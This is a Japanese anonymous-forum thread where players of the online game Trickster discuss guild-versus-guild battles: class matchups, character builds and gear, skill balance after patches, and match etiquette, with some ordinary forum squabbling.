トリックスター〜Trickster〜GvGスレ

無いからなんとなく立ててみた >

まったりと2get >

やりたいねぇ(´ω｀) >

まず条件を細かく指定できるテンプレが必要じゃないかな？

日にち、時間帯、バトルフィールド、人数

平均や最大ＬＶ、魅力の数、天馬などの移動課金アクセ使用の可否
個人的には大人数募って16対16の乱闘とかやってみたいけどw >

>>3
イベント中は人少ないからね・・・・。つーか人いね〜ｗ
しかも、最近過疎化してるし盛り上げたいねぇ(´ω｀) >

ウサギいたらGｖなんて成立しなくね？
あれおかしいだろ >

>>6
確かにウサギ強いよね。HP高くて回避高いウサギとか強すぎｗ
スロモかバリアブレイク無いと１確出来ないしｗ

だが、回避高くてHP高い人は強いと思うが・・・・。

魔が一番弱いと思いますよ何にでも殺されるし
そんな俺は魔を使っているわけだが・・・orz >

>>7
魔弱いよな…


俺も魔なんだが、今後どう育てるかということでギルメンと話してる…とりあえず試しに改造していざ試合と思ったらその日に限ってメンバー集まんねー >

>>8
うはっｗドンマイｗ

対人用の魔の育て方か〜ｗ難しいよね・・・・。

そういや、俺はJ鯖だがF鯖と違いってあるのかな？ >

魔弱いとか牛に謝れ >

糞スレがまた増えた >

牛はブレフォが強いだろ
クリはいれば１０ｋは余裕で越える >

シャワーの方が強いけどな >

>>9
俺はFだがJは高レベル(200以上)の対戦が多いと聞いたよ。Fは120〜180が多いね。

Gv用の魔は羊なら1414で装備とBPでHP・回避・幸運をバランスよくふり敵の足止めを主とし、
龍なら1414か1423でBPはすべて魔力に振ってブレフォ・FHや地雷に耐えるHPを確保しつつ
攻撃型を確殺することに専念したほうが良いと思う。

魔もそれほど弱くないよ。スピンもダメージだけ見れば強いけど溜め時間や硬直が長いから
敵倒した直後に自分も倒されるようなケースが多い。 >

<>
装備変わってはじめてギルバトをしたんだが前に比べると全然違うね。
自分魔なんだが魔は感知に勝てないといわれてても倒せた瞬間嬉しかったわ(まぁ相手が幸運にふってないことぐらいわかってしまったが)
相変わらず自分ミラーついてるのに魅力に攻撃してしまうが自滅も防げるようになったし
お陰で初めて紋章てに入れたよ

でも一番大切なのはチームワークというのがよくわかった
</>

で、結局このスレはなくなるの？
>

久しぶりにＧｖＧやり始めたが・・・
兎大暴れだなぁ羊じゃ勝てる気ぜんぜんせんわ
兎３体も入れといてスタン無しでとか書いてるとこはあほかと

あと圧勝しときながら終了後にこっちが誤爆ってリバ撃ちしたのとか
その程度のことで文句つけてくるのとかたまらん、勝ってんだからええだろが

細かい暗黙の了解なんてもんなくて普通にやりあってた頃がよかった・・・ >

>>16
スタン無しって初めて聞いたｗ
兎の弱点てスカ・スタンとシャワーなのにその弱点なしでって何言ってんだ・・・
そんなのやる前から厨ギルドって分かるだろ。そんなのとやるからぐだぐだ文句言われるんだよ。
そんなときは素直に謝っておくと楽でいいぞ。

雷羊は補助専門だからね。ぬめ型の魔力高い羊ならスタンでとめてシャワーで殺せるだろうけど
それだと牛や狸にすぐ殺されてしまうしね。
兎に勝つのが役割じゃなく足止めした兎を他の人に倒してもらうのが役割だよ。
猫も一緒だけど最低記録連発してもその分他の人がヒット数叩き出すんだから気にすることないさ。 >

なんか最近イベントでGv参加するGが増えてそれに便乗してポイント上げてるGが多いな。
昨日久々にGvして２０００ｐ越えのGの多さにさすがに驚いたｗｗｗ
ちなみに鯖はJ鯖な。 >

>>魔の人

っ[フル課金＋ガチャ装備] >

>>魔の人
っ「ダークミスト」
これ使えば兎に負けることは０％になります。
あとはしゃわーで一確だろ。


俺的考えだと最強は狐。
対魅以外なら地雷で近寄ることすらできずに終わる。

対魅ではあれだ、一番勝率があるのは龍なきがす。
フリーズ使えば楽勝だろう。ＤＭで受けるダメージもかなり減るし。
猫は見た目強そうだが一確できるスキルがないから俺としては一番楽。

でどの職を何人入れてるとか平均下げでいちいち文句つけんなよ。
開始前にある程度戦力確認できるだろう。Lvいくつですかーとか聞いたり。


以上、ギルドマスターを務めている龍でしたっと。 >

>>20
親切な俺様が低脳龍にアドバイスしてやるよｗ

＞「ダークミスト」
兎とかちあった場合、ＵＣだとミスト間に合いませんが？
それ以外にも、兎側にはＦＬって選択肢もある。
装備そろえてたりＢＧついてる兎ならシャワー耐えることもしばしば。
まあ、ＳＲバカみたいなザコ兎とばっかやってる低レベルＧならわからんのもしかたないかｗ

＞最強は狐
地雷は必中でない上に、キャスト長い&即発生しない。
野良ならまだしも、ほかの場所だと兎やら獅子やらに捕まって落とさせ役乙。

＞フリーズ使えば楽勝
手練にはフリーズ意味なし。
ほぼ確実に潰される（相手全キャラ範囲にいれ、かつ成功したとしても、だ）


ギルマスが（Ｐスキル）低いと大変ですけど＾＾；
これからもがんばってくださいね♪ >

っていうか、猫にマナブレイク粘着されると龍とか終わる気するんだが… >

>>21
相手の兎が天外装備でもDMのほうが普通に早い、Pスキルなさすぎ >

ダッシュ >

ダッシュ後でもクリック先ならFOLだろうとSRだろうとDMが先だぞ >

勘違いしてる人多いが魔にはガチャ装備の恩恵少ないぞ
ベルトとパールでHP増強とサラ護符で幸運増強ぐらい
それにしたって他職は命中や攻撃など一緒にあがるのにそれらは魔に関係ない、回避ももともと低いのがあがっても意味ない。
魔用神アクセまだー？ >

最近思うのが、この頃のガチャ装備の性能が良すぎるから魅力型でもないのに、火力やＨＰを保ちつつ回避１００越えてるような奴がたくさんいるよね。
検証したけど回避１０７の時点で命中２５０のスピンが半々くらいの確率しか当たらない。
こうなるとウサの命中でさえこんな確率なのに他職の攻撃が当たるわけがない。
でも獅子はスキルが必中だから回避に関係なく当たるよね。
そこで思うのが、今一番先が明るい職は銃獅子だと思うね。
相手の攻撃は避けれて少々当たっても死なないＨＰもあるし。
んで相手の回避に関係なく必中スキルで確実に削れる。
回避高くてダメ通りにくかったらスロモもあるしね。
回避高くてＨＰもそこそこで必中スキルで火力抜群の獅子が一番きつい >

>>27
ガンナーで3142は盾装備できないし魅力2だから意外とマゾいのよorz >

じきに、PS・RSも必中じゃなくなるでしょ
それでも命中極で幸運上げやすい銃獅子は、強キャラの１つに変わりないが >

>>28
それこそガチャ装備で魅力２の部分補えばいけるんじゃないのかな？
わかってないって？スマン今育て始めたばかりだから…最終ステ１１４４になる予定だけど後日実感してみるわ

だけど幸運なかったら今度は魔にやられるね…っと相手がどうであろうととりあえず魔法をうつ龍が申しております >

確かに魅２で何の対策もしなかったらぬめだけど、天外とＨＰ合成のテラベルトとネックレスだけで６ＫほどＨＰ増えるよ。
それに加えやろうと思えばテラ帽もあるし。
それに全部ＨＰ合成しても回避は３９あがって命中は２５上がるし。
ちなみに天外はＨＰつけれないから回避か命中だね。
そう考えた時にやっぱこれだけ課金装備が強いと獅子だけスキルが必中仕様ってのはＧｖではかなりでかいし、鷹の目あったらダメもかなり痛いしね。
魅力で回避１７０あっても鷹の目状態の獅子にはＰＳで５Ｋ近くもらったことあるし。
このままダブルショットとか来て必中で一確されかねない威力になるとＧｖは獅子ゲーになりかねん。
いくら魅力が耐性あっても関係なさそうだし。 >

フル課金獅子オンリーギルドと対戦したことがあるがこっちも全員フル課金でたぬぬがいるロイヤルだったんだが
長い射程ととんでもない火力とでボロボロにやられましたがな(´･ω･｀)
>

俺は魔を使っているが、最近は回避装備の獅子が多いから
シャワー＋槍で相手のPS＋RSで死ななければ以外に倒せると思うが

ただ出会い頭にシャワーを打つのではなく
相手に一回PS＋RSを打たせてからシャワーを打つようにしている。
乱戦になるとごちゃごちゃでわからなくなるがなｗｗｗ >

>>33
書き忘れた。なぜ一回打たせるかはRSのクールが5秒だからな >

ここで複合ぬめの登場ですよ
デフォはPS→AA
PS撃った後に素敵な鬼ごっこが始まります >

素直にPSRSかAARSかFHRSの方がよくね？ >

>>21
こ・・こいつぁ！釣りか？いや釣られてやる！

ダークミストは発動１秒でしかも遠距離なのでFolしようがダッシュしようが無意味。
むしろFolすると幸運が上がる。

猫以外ならほぼ必中。あたらないなら狐の命中が低すぎるだけ。
即発動しない･･･って敵が目の前にきてから地雷投げようとしてるお前だからな。
そりゃ負けるわ。

手練にはフリーズ意味なし････アホか。
潰されるってどうやって？フリーズかかってると移動もスキルもPOTもできない。
もう一度wiki見直せ。 >

>>33-34
たまにPS>RS>FHと3連くる獅子がいて厄介。
ガンナーは倒せること多いけど幸運装備の幸運パンチャーになられるとお手上げだね。

>>37
>>21ではないが、代わりに釣られておこう。
フリーズ発動前にスキルタゲっておくと
　　　フリーズ発動＞タゲっておいたスキル発動＞フリーズ解除
という流れになる。
だからフリーズを使う際は必ず相手のスキルを一度受けてから使わないと潰される場合がほとんど。
それでもスキル食らう＞フリーズ溜め＞他のスキル溜め＞フリーズ発動＞スキル発動＞フリーズ解除なんてのも多い。
1:1じゃほとんど使えないスキルだよ。1:多なら尚更難しい。
>

えーっと、つまりスキルをタゲって移動してる間や発動までの溜め時間中に
フリーズしても相手はとまってくれないってことね。で、その発動したスキルで解除される、と。
個人的にこれは不具合だと思ってるんだけど… >

>>38
確かに一回倒すと3連してくる獅子がいるな
FH獅子はもう魔はどうすることもできないねｗｗｗｗ
FHで1確されるようなら俺はHP装備にして、
そしてひたすら逃げまくるｗｗｗｗｗ


フリーズについてはトイレやボルケ以外のマップで
相手に魅力のみが残った場合に有効だと思う。
もちろんこっちが複数のときにね。
まあ、魅力に限らず単体で残った場合は有効かと。

フリーズの使用タイミングは確かに難しいね
>>38がいうとおりフリーズ発動前の相手のスキルについては
そのまま発動するからフリーズ解除されちゃうもんね。 >

>>38
まじか！そいつぁすまんかった。俺無知乙 >

スカン連続かけしてくるぬこに遭遇
俺もぬこだけにこれだけは避けてきたが勝つためには厨にならなきゃむりなんかな…
そんなんなら俺は勝ちたくないわ >

>>42
そうなんだよな。基本的に魅力以外にはスカかけないようにしてる。
しかし度重なるガチャの追加でどの職もHPも回避も高くなり今の命中・回避仕様じゃ他にすることないのもまた事実…
ギルメンにはうざがられるのは魅力の宿命だからスカ連発は仕方ないとか言われたけど正直あまりやりたくない。
マナブレもマスターしてるけど、メイン魔だからマナブレ粘着も好きじゃないしね。DMされた時の仕返しに使ってるぐらい。
>

ヌコゎ俺なんて言わないお >

ハイキックは余程じゃないと1確できるようなスキルじゃないし、そもそも当たらない
スカンキとマナブレないと敵から無視られオタオタしてるだけの存在に成り下がるよ(´･ω･｀)
そんな俺は無課金Lv100Gv特化のぬこ >

つまり猫＝うざい存在ってことだねｂ >

最低限リバ直をやらないのを前提として
Gvにて敵にウザく思われない奴は存在意義がないと思う。

>

ごもっとも。
勝つためにやるのか楽しむためにやるのかって思想の違いはあるだろうけどね。

個人的にはスカ連発は格闘ゲームでハメ技使ってるようなイメージかな。
ステータスもスキルも関係なく固められて倒されてばかりだとやられるほうはつまんないよね。
固める方は敵に突っ込んでってもなかなか沈まない無敵キャラみたいなもんだし。 >

その癖そっちは魅力が多いのでスカなしにしてくださいとかＢＧなしにしてくださいとか注文が多い
条件のんで初めてみると電気羊の連続足止め
どうみてもはめられました
どもありがとうございました。 >

その癖がどの癖かは知らないけど、雷あるのにスカなしBGなしはおかしいね。
でも雷は対策あるけどね。回り込んだり攻撃にFLしてもらったり。回復もできるし。
>

どうでもいいけど、格ゲーに例えたらハメ技より1撃死技の方がえげつないと思う >

>>51
それは単なるレベル差か相手の装備が高性能なのかじゃない？
一撃死は逆にあきらめつくから構わないけどな
>

確かに一撃死のほうがえげつないね。
ただ、魅力にとって一撃死と呼べるスキルが無いのが問題なだけで。
所構わず突っ込んできてスカやマナブレしてくれるから嫌われるんだよな。
ってことでもう

回避どれだけあげても回避率は２０%がＭＡＸ
ＭＧＢは反射するだけでダメージカットなし
銃防御は回避依存から命中依存に修正

にでもなればスカが叩かれることなくなると思うよ。 >

143の龍で勝てなくて困ってるんだがどうすればいい？1423型
HP９ｋ
魔200
幸80強

サラ護符にはHP
スノー盾に幸運
ﾄﾚﾓﾆ帽　魔
杖　HP
ﾄﾞﾘﾍﾞｽ２　HP


何回もGｖやって気づいたことといえば格上の相手に勝てる気がしないんだが。。
>

>>54
まず盾をHPに。総HPが11kになればそうそう落ちないはず。
幸運はもう捨てた方がいい。魔同士の撃ち合いになると幸運140ほど
必要になってくるので、無理なら幸運はすっぱり切ってしまうべし。

戦い方は主に補助。攻を見つけ次第、即効ＤＭ。対魔・感は諦める。
攻・猫・狸に必ずＤＭ。機会があるならフリーズも織り交ぜる。
現状況は兎をいかに抑えるかが勝負の分かれ目になってくるといっても
過言ではないので、天敵の魔の振る舞いがかなり重要。

魔力200で最近の攻を一確するのは難しいので、
リング→シャワ→リングorリング→槍→リングでつなげる。
補助に本格的に回るとしたら光のトリートメントもいいかもしれない。
(ダークバリアがやばいので闇の方がいいかもしれないが……)

一番の心がけは「倒すことばかり考えない」こと。

頑張ってくれ。 >

>>54
1432型でがちゃ装備が結構あるから参考にならないかもだが一応

もしいけるならがちゃにも手を出してるみたいだから、ここはやっぱりドリベス２よりはテラベルトがほしい所。もちろん合成はＨＰ。
あとせっかく課金杖もってるんだから、精錬は出来るとこまでする。普通に高レベル並の杖の威力になります
>>55の言うとおりにするなら更にサラの護符は幸運を合成がいいかと
また天外に幸運か魔力どちらの合成になっているかにもよる。
多分魅力３だからそれぐらいでＨＰは１０Ｋこえているだろうから、見た目こだわらないなら新しいマントに幸運つけてもいいかもしれない。
戦闘ならＤＭ補助としてもそうだがメンバーに魅力がいてスカンが使えるなら、二人で組んでスカンしたらイビルをかければ倒せる。(卑怯かと思うかもだがこれも戦略。)
意外とイビルは使えるからポイント的に無理がなければ取ることをおすすめする。
一確できない攻撃型、最近流行の回避ガンナー獅子はほとんどかかる。相手は攻撃もしてくるが回復もするというぶぶんで攻めていってもいいし、逆にやられると思ったら放置。相手のＰＯＴを削らせる。
こんな感じかな？
>

返信どもです
HP盾ﾐｽｯﾃ前捨てたのでそろえますね。
DMはTMが３ほどたりないので後々とる予定です
リングとるほどないですorz
杖は一応精錬して４までいきました。
天外は魔に振ってます。
アクセは天外とサラで
ドリベスやめてテラベルト狙ってみますね。
マントってカンパニークライトですか？
あれってファッションのとこにはいるんですか？
>

>>57
魔についてほぼ知識ないんですがカンパニーはファッション装備
天外・ペットに並ぶ課金出来るなら必須といっても過言ではない一品です
とりあえずそのリーズナブルさに驚いて下さい >

>>54

失礼だけどそれじゃ弱い

魔は幸運がなけりゃ話にならんよ

lv.160

HP9K 魔力350 幸運200 魔防2000

1432闇龍からでした


>

>>37はとりあえず、どのくらい低いレベルの話をしているんだ？
地雷必中とかいつの話だよ。当たらないなら狐の命中が低すぎとかもうね。
とりあえず、必中に必要な命中を出してみた。
２００付近だと回避１２０くらいが当たり前、回避とＨＰを増やすために
感知３００が精一杯。
スロモ掛けても５０しか下がらないから相手の残り回避は７０
必中に必要な命中は相手の回避（７０）×２．５+（５０？）くらい
狐で命中２００とかねーよｗｗｗｗｗ
まぁ、最近話題の所持極が命中重視装備+鷹の目なら命中２００いきつつ
威力のある袋を投げることも可能だが、今度は幸運がしょぼくて魔法に殺されるな＾＾


>

>>59

失礼だけどそれも弱い

幸運はもちろん必要だが

魔はＨＰと回避がなけりゃ話にならんよ
>

GV出るならLV120辺りでもHP10kは超えてないと使えねー
魔力が280前後、幸運150↑
MS、ガチャの良合成必須だがな >

魔力２８０〜とかどうやったらそこまであげれる？
トレモニ帽子に天外くらいしか魔上げれるのないと思うんだが。。

レベ160で魔力３５０って・・・。

>

>>63
61の感覚がどれほどか知らんが、59のステはおかしいほど強すぎ。つかありえん。
課金合成でほぼ最高数値が出てかつ傘のペットでも魔力３５０の幸運２００はいかないだろ。
１６０じゃ。どんなステフリでどんな装備だよ、と全身課金装備の170龍がいってみる。

ま、他の連中がどんだけ腕が良いとか手先が器用なのか、ただ単に俺がへたくそなのかは知らんけど
魔は弱すぎ。あり得ないほどに弱い。攻撃の一撃に耐えられず、感には当たらない上に銃、地雷で死亡
魅力に至っては反射で自滅って。
マホトーンみたいな相手のスキル封じる魔法やPTをサポートできる集団回復魔法とかないと
魔はいつまでたっても足を引っ張る存在になりそうだな。 >

VIPPER死ね >

まぁ攻撃型からしたら魔一番怖いけどね＾＾；
>

>

>>64
FWして、って意味じゃない？そういう意味ならレベル１００の俺も魔力３００近い。 >

何当たり前の事言ってるんだ？ >

レベル120
トレモロステッキ
トレモロミニハット
ノイズシールド
天外春風部
メイメイの手ぬぐい
カンパニークライト
安眠マスク
テラのベルト
ヴィオリナ

HP1386
MP9780
魔力(FW)302
幸運(一周年)186
GｖG楽しいよ。 >

HP即死クラスですね！ >

武士装備でスキルなしでひたすらなぐりＧｖしたい俺野武士 >

武士装備の兎はかわいい >

>>70
ちょ、そのHPはヤバスｗ >

まさか1441でGvG、PvPキャラ作ったとか？


ありえねｗ >

Lv166

HP9.5k
魔力361
幸運120程度

最近の龍はHP多杉ｶﾞﾁｬ乙だから勝ち難いが攻撃型は大体沈められる >

自分が思うにいくら確れる魔力や当たる幸運あっても、ＨＰが１０Ｋ以下や回避がクソだったら怖くないねやっぱり。
Ｇｖは団体でやるから攻型を確ろうとしてる魔を他が確ればいいだけ。
たぬぬとかだとワンペアで１０Ｋ出すなんてわけないよ。
それよりＨＰや回避高くて補助しつつ攻型にＤＭとかシャワーされたほうがきつい。 >

つまり、たぬぬ最強ってことでいいんだな >

ローズガーデンに傭兵控え室を作る運動を誰かしませんか？
ＧＢ控え室でダラダラと看板出されてるのを見るとムカつきます。 >

>>79
自分のＰＣがへぼくて重いからって他人を追い出そうとするなよ。
余計な一言書いたせいで自己中にしかみえない。 >

>>80
拾ってもらえない傭兵乙ｗ >

>>81
はいはいキモスキモス

狐の地雷が当たるとか言ってる奴は狐でGvやったこと無いんだろ、
地雷の命中知ってるのか?AAの命中の条件の式の結果-20だぞ?
命中150ぐらいでやっと回避捨ててる魔やらに必中って所だ。
兎になんか経験上命中率3割切るよ、当たってる奴はよっぽど回避足りてない。
Gvで最強の職ってのは知らんけど、回避の無い狐がネタってのは知ってる。
GvGルームに狐少ないよ狐 >

＞ローズガーデン
むしろチャンネルチャット立ててそこでやればいいんｼﾞｬﾏｲｶ？ >

>>81
(´;ω;) >

>>82
地雷の命中値52なのか？
HKと12しか違わねぇじゃん

だいたいBEないってのに今の課金前提Gvで当てようってのが間違いだろ >

>>85
回避2,5倍計算 >

>>86
必中計算式は
回避×2.5+スキル命中値
スキル命中値が12違うなら必中に必要な命中が12変わるだけ。 >

メンテ終わったぞ >

ログインしようとした奴乙ｗ

↓ >

>>37はすべてにおいて誤ってるなｗ
ダークミストで幸運あがる？
レベ150でも平気で攻撃3k↑時代に、ミストでそれ以上さげるんですかぁｗｗｗ
ミストで3k下げるのに必要な魔力ってわかってる？４００↑だよｗｗｗ
オール合成最高値の完全魔極装備の方ですかぁ？


頭悪い子はＰＳで確殺されてくださいね♪ >

厨って最近特に増えたよなぁ >

龍の新スキルはいつ来るだろうか・・・
>

最近光龍増えたな
スカンキーくらったのトリートメントで回復して喜んでるな
「うはｗｗｗ」とか言ってる
何がそんなに楽しいんだ? >

知るか馬鹿 >

知り合いに4141命中極ボーナス合成全て命中の
LV220HP2.5kのぬめ獅子がいるんだがこれって強いの？ >

>>95
回避も多分幸運も低いだろうからどんな職にも弱いでしょう。
ぶっちゃけ同職のガンナーにやられておしまい(？) >

撫でられただけで死ぬな >

>>95
ただの馬鹿 >

馬鹿すぎてキモイ >

>>95
一対一ならめちゃめちゃ弱いと思う。
しかし、Gvなら後衛から相手のスキルクールタイムにつけこむ等
工夫すれば結構いけるんじゃなかろうか・・と言ってもやはり死に易すぎるな。
スキル必中だろうし、2.5kじゃボディガかかっても、大抵の攻撃で一撃というのが痛いな。 >

スカン無しって条件出しといて雷乱発したら厨ってレッテル貼られる？ >

当たり前
少し考えれば分かるだろ
だいたい、Ｇｖで雷なんか使ったらおもしろくなくないか？ >

それでは何に為のハンデをつけたんだって話にならないか？ >

スカンは無条件で禁止でもよくないか？
当たればほぼ確実に落ちるし、何より対処法が存在しない。
同職同士の1：1で100LV差を跳ね返すスカンは他のどのスキルと比べても壊れている。 >

スカンと雷だと全然違うだろ。。
雷はマナブレイクで魔力下げれば効果ないし幸運で避けることもできる
それに比べてスカは防ぎようがない。
スカ禁止で雷ありは全然厨ではないと思うよ？
まぁ自分の主観だがね >

むしろＧｖなのにタイマンで勝負を申し込む我がギルド
これが意外に盛り上がる
基本は１対１なんだが補助スキルの使用はリカバ以外あり
倒れたら次の人が戦うシステム


まぁ…受けてくれるギルド少ないがな… >

>>105
マナブレで魔力が0かマイナスにするのはほぼ不可能じゃない？
避ける為に火力やHP削って幸運確保するのも考えられない
加えてスカは単体、雷は複数。
所持が少ない職だったりすると、なまじスタン中に回復できる雷の方がPOTに響いたりもする。

どっちにしろ乱発は厨って言われても仕方ないんじゃないかな。
スカ禁止ってわざわざ条件提示してるなら尚更。


>>106
俺はそんなGvを待っていたんだ >

>>107
なんというか、雷羊でもいないと感覚の存在価値が薄いんだよ。。
幸運で魔法の状態異常を回避できる感覚が雷羊を抑えられないからうざく感じるのだと。
狐使ってるからだが、ＳＲつかってくる兎のほうが辛く感じるな。。
本当になすすべがない、だがそれは兎をフリーにしていることが原因だと思ってあきらめてるよ。
ＤＭをきちんと掛けてくれる魔法や、ＢＤを掛けていく攻撃。雷で足を止める羊などがうまく働いてくれれば
兎で恐れることもないからな。。
それと同じで雷羊うざいと思うところは魔法を処理する感覚がうまく働いていないだけなきがする。
雷羊はスカン魅力と違って回避が馬鹿だかい訳でもなし結構楽に落とせる。
そこの点がスカンは制限を掛けるべきだが雷は制限を掛けなくてもいいかなと思う一番大きな理由だがね。

長文＆駄文乙
>

>>108
基本的に雷羊はＨＰと回避装備で魅力並に落ちにくいわけですが。
楽に落とせる雷羊なんて存在価値ない。
うざがられる原因はＨＰ１５Ｋ↑回避１６０↑みたいな雷羊が補助だけに徹して、ただひたすら陰から足止めしてくるからでしょ。
感覚みたいに幸運高い職以外は雷投げられると、下手したら死ぬまでそこから動けなくなる場合もあるし。
ＭＢでも足止めは防げないし、広範囲だし、飛び道具ってことで避ける方法は幸運高くするしかない。
マナブレでダメージ０にできればいいが、さすがにＨＰ回避装備でもそこまでクソな魔力じゃない。
スカンも雷もどっちもどっち。
個人的には単体でミスる可能性あるスカンのほうがまだ気が楽。 >

みんな魔弱いとか言うけど、今俺が所属してるギルドでは俺がアタッカーになってるんだが
by１４３２全身課金闇魔 >

sage忘れすまん… >

何戦何勝何敗何分？ >

150戦ぐらい90勝60敗ぐらいかな。
アタッカー一人の時が多いからキツイ >

>>110
ガチャ装備で回避やＨＰ上げてるならそれが普通だ
魔力や幸運にしか目がいってないやつは雑魚だね

例・・・>>59 >>76
>

そうなんですかね。
俺はGvの時はたいていHP装備でやってるんでそれがそうしたみたいですね。
�dｸｽ >

150くらいの闇竜で回避はどのくらいほしい？もちGvで。 >

>>109
スカンと雷の決定的な違いは対処の存在だけじゃない
・スカンは回復を含めて一切の行動が出来ない
・雷は足止めだけで、スキルや回復を使用できる

つまり、雷は実質的に攻撃以外には効果が低い。感覚相手はそもそも当たらないし
魔法は打ち返すことが出来るし、魅力はスカンを投げられる。
それでも移動制限が強いし、複数相手に出来るのは強いが、スカンの絶対的な
効果には遠く及ばないと思う。
個人的には雷は強さ的には、スピンやマジックバリアと同等のスキルだと思う。 >

ってか雷はＳＫと組み合わせると誰相手でも完封できるからな。 >

>>118
だからそれはSKがおかしいだけだから・・・ >

そもそも、SKはおかしすぎるよな。クール５ｓ１１ｓ一切の行動が不能
命中率はステータスに依存ではなくスキルレベル依存マスターで命中率６４％
止めている間自分も行動不能なフリーズのように
ダメージを受けると解除且つ自分も行動不能なら文句はいわないんだが
今の仕様は明らかに異常だろ。。 >

でもスカで止めた魅力に直接殺られることは少ないだろ？
魅力なんて所詮補助。
そしてGvはチームワークだよ >

>>120
トリートメントの必要性を高めるためだろ
攻撃に向かない補助魔の救済措置 >

>>121
確かに魅力に殺されることは余りない、だけど相手の強さなど関係なく１１ｓ行動不能にできるというのは
やっぱりバランス崩れているだろ。強い猫はSKで止めて放置してくるな。それで局地的な戦力がひっくり返って結局全てが崩される。
現在のような耐久性があるという特色とこのスキルの凶悪さも加わって、魅力は囲まないとどうしようもないのが多い

>>122補助のトリートメントを有効にするためという意見には賛成する、だけど現状のダメージバランスだと５ｓ停止するくらいで致命傷だし
　　 補助掛けてもらう前に終わることもしばしば補助を生かすのならばトリートメントをダウン系スキル一定時間予防スキルとかにするべきだと思う。
　　少なくとも、現状のトリートメントが役に立つのはこっちが優勢の時に限る。劣勢の時にトリートメントを掛ける前に殺される龍とかすごく多いしな
　　光龍を補助とするなら回復だけでなく回復＆一回だけ予防くらいにすればバランスが取れていいのではと思うな　　 >

対人にバランスなんてもうないようなもんじゃんｗ
スキルうんぬんより職の相性の方がでかいよ。
スカンが凶悪なのは今に始まったことじゃないし、いまさらグダグダ言ってもしょうがない。
それにＰｖだときついがＧｖだと魅力も簡単に落とせるよ。
ウサと変身猫つれて来たらいいだけだし。
これはあくまで予想だけど、獅子のダブルショット来たらもっとバランス崩壊すると思う。
ＰＳ×２のダメージが幸運狐以外にはほぼ必中で当たって、さらにクール３秒とかだし。
ＤＳ＞ＰＳでほとんどのキャラが落ちるでしょ。
現状のＧｖだとＰＳでノーマル６Ｋとか出てる人も普通にいるし、鷹の目も混ざればお察し。
さらにはガチャ装備で獅子はぬめという定説はもはやない。
こういうことを普通にやる頭悪い運営のゲームにバランスなんて求めるのが間違い。
おとなしくサービス終了までリアルマネー吸われてポイされるのを待つか、
ある程度の課金で区切りをつけて対人が多少楽しめる程度にしとくしかないよ。 >

ＷＳ実装したら兎と獅子だけでＧＶやってろって感じだな
他職はもう楽しめない気がする。
>

こんにちわ >

メンテで暇なんで誰か最強職とその理由を書いてくれ

>

爺社員
ちょっと修正するだけで俺らが阿鼻叫喚 >

最強になりたかったら他のMMO行ったほうがいい
レベルの関係でもうお前が最強になることは皆無 >

>>127
うさこ
ガチャによって回避がものすごく上がりスピンという強力なスキルがある。
マジレス乙ｗｗｗｗ >

GV終わったね。
今回のダブルショットとダークバリアは致命的だろう・・・ >

ダークバリアダメ軽減なしでしょ？
終わってるのはＷＳだけ･･･ >

ダブルショットってなんですか？ >

牛のもヤバイと思うんだけどなー……
ＰＶで１３ｋ与えてるのみたらＧＶでは考えたくなくなった

>>133
マジレスすると
今回実装された獅子の新スキル
クイックショットが本当の名前だけど前からみんなダブルショットっていってたからそう呼ばれてもいるだけ >

WSじゃウォーターシェルとかぶるからQSにしようぜ >

牛の海ぎりがやばいだろ。。
あの範囲とダメージはおかしすぎ、姉御の幸運バグなくなったし粘っこいの余りにかすっぷりに泣きそうになった
スロモ強化されたのが救いだけどね。。 >

まだはじまってもねーよ >

ごめん。思ったより良調整だった。今回きちんと４タイプの相性が成立している
というわけで発言撤回 >

攻＜感＜魅＜魔ってなっていていい感じのバランスかも
あとはダメージの倍率を下方修正してくれるだけで全然違うね >

>>139
そうかな〜。体験した感じ獅子の一強っぽいけど。
まぁたしかに攻は天敵だがＱＳは明らかにやりすぎ。
他職では止める術がない。
Ｐｖで必中で７Ｋってどうにもならんぞ。クール３秒だし。
ＱＳ＞ＰＳ＞ＲＳ＞ＱＳって続くし。
おまけにダークバリアで反射できないし。
海切りやカウンターパンチも確かにやばいが威力だけで、当たらなければ意味がない。
獅子のは威力もだけど、なにより幸運が相当高い人以外には必中ってのがおかしい。
これから最強を目指す人は銃獅子かウサおすすめ。
Ｇｖなんてのはもう終わったシステムだと思ったほうがいい。
ＰｖであれだけひどいのにＧｖなんかじゃいくらＨＰや回避あげても無駄。
獅子に撃たれるかウサギに殴られるかしかない。
これまで魅力が別格に強いと言われてたけど、これからは獅子とウサがＧｖを支配することになりそう。
魅力でもＱＳは無理。 >

対銃獅子
魅力 スカン封印解除で有利？
攻撃 スピン、アッパー、海切り 実質必中で天敵
魔 幸運回避HP高い雷羊なら互いに決めて無し 他は御愁傷様
感 銃は当然互角 幸運タイプは天敵 AAには有利
こんな感じじゃない？ >

これで片手銃来て盾もてるようになったら引退しようと思う俺銃獅子

もう自分でもいいのかってぐらい獅子強いよ…
メインのぬこなんてもう使うことないだろうな… >

回避猫とかスカンやろうとしても撃つまでの間に
銃獅子にやられるよな >

今日メンテ後初めてGVやったけど、スカなしでもＢＧたぬとＱＳガンナー２人くらいいれば余裕なのね。。。

俺も飛び道具（スキル）欲しいなぁ >

QSの二連撃の最中って回復可能なのかな？
これのよって大きく性能が異なるんだが・・・ >

>>145
ウサのスピンと同じ仕様。
スキル出した時点で総合ダメージ判定出てるっぽい感じ。 >

なんかQSせいでGv終わったな
獅子2とかすでに勝てる気しないぽ（´・ω・`） >

住み分けすればいいんでない？
QS獅子と兎あつめて俺らTUEEEEEEで楽しむギルドと
獅子もしくはQSお断りなギルドで >

Gvしてきたけどぎゃーぎゃー騒ぐほどQS大したこと無いじゃん
固めてボコれば余裕で勝てんじゃんｗ >

そりゃあ、固めてボコればどんなやつでも楽勝だろうな >

>>149
固めてボコるって、その時点で獅子一人に何人がかりなんだよ…。


お前バカだろｗ >

>>151
何人がかりでもいいから獅子はすぐにつぶした方がいいに決まってる
お前Ｇｖしたことあるか？ >

固めてボコしてる間に何人やられるんだよｗって話
相手無抵抗でつぶさせてくれるんですか？
Gv初心者狩って悦に浸ってる>>152乙 >

Gvド素人が迂闊な事を口にするとあとで大恥かくよｗｗｗ >

ID:es7gC4r7 >

昨日の夜にＧｖの観戦したが、終わってたぞ？
楽しみのかけらも見えなかった。
片方は獅子２匹とウサと狐と闇魔。
もう片方はウサと闇魔と猫と狐と牛。
両方ほぼフル課金。
結論から言うと獅子がいるほうが圧倒的勝利だった。
攻＞感ってのはＧｖじゃありえない力関係だった。
鷹付きだろうけどＱＳ必中でノーマル１４Ｋだし、二人もいるから牛とウサが近づく前に確られてた。
